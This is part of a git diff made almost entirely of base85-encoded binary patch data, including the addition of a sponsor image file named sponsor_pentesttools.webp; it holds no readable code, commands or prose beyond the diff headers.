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
Sbnvw}BxMCP`7&A4;Qt40WpdX5

literal 0
HcmV?d00001

diff --git a/src/images/sponsor_pentesttools.webp b/src/images/sponsor_pentesttools.webp
new file mode 100644
index 0000000000000000000000000000000000000000..1b5a0d66387f7ce51bf1f24ff67bd32df2f5e588
GIT binary patch
literal 3286
zcmV;{3@P(cNk&G_3;+OEMM6+kP&iD%3;+NxkHKRA-vhaABuNr;?%Az!a!p+4I_ec}
zxQ!%9k@Db~=KPo6!JE|{+L7BvjwDamo_Jd9|DW033FY~ZCc_9p7-5p=1Vk7SCLl~m
zjEFzt#E60k$Vpcq2Eqgd6Gnsy3P)Esj3^vNgb7TM*#B{}Yq4vwYJu!(kX;S3Ukejf
zEd~UgWLJYsVr>gVFk)>BM6hZxfUIf;KL0Plh-(yylGBfpLi!~bxW-Fxbs@4BQxvin
zB3%kZx(KfE5~N>$@1KFk=Y$l#kHLTmjX2xD=ddvWd0bzQWj4T3(6$Ye@`v5-B8Z3y
zU{R0BfhEor3m*(AS^yijZSYADD`lR%cs|nBIkda?eL8-z-|HdyJ=TAp#uPz<AhatH
z{fERza@?kg0j1S?nLFf&&heEsZQGkfARAg-Hf*r>0+zUZXIp<kwZ+0rj9p<YV43Ov
zp7I%!_j}%aXA%8}gf@~SDU$fKd$M89&8TYFHw=z;>p!>tbL&6<o5rVNv8WXq5<)n-
zVPWZp9o?`nbi>oSVaL!63rjcb=!QjBH$1Hyt{R$QQPKzN#bahfud=$~Y2C16=!1Dr
z1d@djr)--ro&>2KrrDzCu9dQ#L-0H-2$>9anJHnS7tPr@ATDvs%A%(NAS;K#4zujN
zwX7&gFAJ$GF4;hNMTAt#6INPjPjkz{M2eZwk;k-UEPPZ*D`;Wy$0Dx9Hd4VnJ|-t+
zk)x49lCUywJ~;+gY)-<^A+z)RFgNlT9Y(auBPKm$iMPt(hfPWtVMI!{cvE?<7<n{k
zl3Il1Y2-1Ala5fV+Ho`$Gc@uf6=1<*w#d=Acv}_+Y(zOmDUO~I0gf@k0HBD2WXVP^
z^ov-E6}dP%9mL`@2MiBNhnmd<cnt1^6V-}l9GwYdVL)f-kr`}0E5ThjQIAoMqiqqW
z9KefML{+UU(MHLj(<ky{)S2ChsZ#x;azsCl9v1@kG1I2ahV!XJcXgp@+Q^ikWLbbd
zmLttXhXu;sXrpo)b&op%m4~;8MVgJun0jciuq*;<glo1WW$#4F<v&ge*TM;H)*tG#
zZCF$h)MKQXBV~#stj8R>%#wTy0YF$gE|PqPr`n7_WvzMQD2Gb31lfn)Cj|!rJAqD<
z8ZxJB34?;rPN0Jn8A)W%SE<RsC5r@`w<ULr!$hS7TdG!M3>3nfmt~_4h?RVz>`J%@
zZ@O<p84xEFu6&3HaJt_Yby$xXRT9|hOOydI1{BFj1~@rUF(hd4y$J8F)N&L7F;)b4
zSL(Ey?0#qMQ56Ju5B*pO0Wm?g-?(VkiBAuu@}re7j=__y7JKS2X`Og$ue1^5J@nRl
z0%Ce>Pr}qekni|01BH^rnG#5{tqk)0i3a_E_{rU?UxZReUXvsOyzQ<}9uU)J2v8+~
zvFL{NudXLy>Z9o;q_>MYT>&v=77?m7>HQq^Pk&5+ltquN$yoG=<08mTE_y2dqt{lO
